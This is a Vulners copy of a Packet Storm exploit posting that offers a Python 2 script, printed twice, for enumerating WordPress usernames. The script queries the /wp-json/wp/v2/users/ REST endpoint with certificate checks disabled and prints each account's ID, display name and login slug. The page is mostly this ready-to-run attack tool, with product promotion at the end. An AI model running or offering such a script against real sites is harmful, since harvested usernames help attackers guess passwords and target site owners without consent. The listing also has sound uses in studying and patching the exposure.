Lucene search
K

WordPress 5.3 Username Enumeration

🗓️ 28 Nov 2019 00:00:00Reported by sajjadbndType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 186 Views

WordPress 5.3 User Enumeration SajjadBnd Exploi

Code
`# Exploit Title : Wordpress 5.3 - User Disclosure  
# Author: SajjadBnd  
# Date: 2019-11-17  
# Software Link: https://wordpress.org/download/  
# version : wp < 5.3  
# tested on : Ubunutu 18.04 / python 2.7  
# CVE: N/A  
  
  
#!/usr/bin/python  
# -*- coding: utf-8 -*-  
#  
  
  
import requests  
import os  
import re  
import json  
import sys  
import urllib3  
  
def clear():  
linux = 'clear'  
windows = 'cls'  
os.system([linux, windows][os.name == 'nt'])  
def Banner():  
print('''  
- Wordpress < 5.3 - User Enumeration  
- SajjadBnd  
''')  
def Desc():  
url = raw_input('[!] Url >> ')  
vuln = url + "/wp-json/wp/v2/users/"  
while True:  
try:  
r = requests.get(vuln,verify=False)  
content = json.loads(r.text)  
data(content)  
except requests.exceptions.MissingSchema:  
vuln = "http://" + vuln  
def data(content):  
for x in content:  
name = x["name"].encode('UTF-8')  
print("======================")  
print("[+] ID : " + str(x["id"]))  
print("[+] Name : " + name)  
print("[+] User : " + x["slug"])  
sys.exit(1)  
if __name__ == '__main__':  
urllib3.disable_warnings()  
reload(sys)  
sys.setdefaultencoding('UTF8')  
clear()  
Banner()  
Desc()  
  
wpuser.txt  
  
#!/usr/bin/python  
# -*- coding: utf-8 -*-  
#  
# Exploit Title : Wordpress < 5.3 - User Disclosure  
# Exploit Author: SajjadBnd  
# email : [email protected]  
# Software Link: https://wordpress.org/download/  
# version : wp < 5.3  
# tested on : Ubunutu 18.04 / python 2.7  
  
import requests  
import os  
import re  
import json  
import sys  
import urllib3  
  
def clear():  
linux = 'clear'  
windows = 'cls'  
os.system([linux, windows][os.name == 'nt'])  
  
def Banner():  
print('''  
- Wordpress < 5.3 - User Enumeration  
- SajjadBnd  
''')  
  
def Desc():  
url = raw_input('[!] Url >> ')  
vuln = url + "/wp-json/wp/v2/users/"  
while True:  
try:  
r = requests.get(vuln,verify=False)  
content = json.loads(r.text)  
data(content)  
except requests.exceptions.MissingSchema:  
vuln = "http://" + vuln  
  
def data(content):  
for x in content:  
name = x["name"].encode('UTF-8')  
print("======================")  
print("[+] ID : " + str(x["id"]))  
print("[+] Name : " + name)  
print("[+] User : " + x["slug"])  
sys.exit(1)  
if __name__ == '__main__':  
urllib3.disable_warnings()  
reload(sys)  
sys.setdefaultencoding('UTF8')  
clear()  
Banner()  
Desc()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation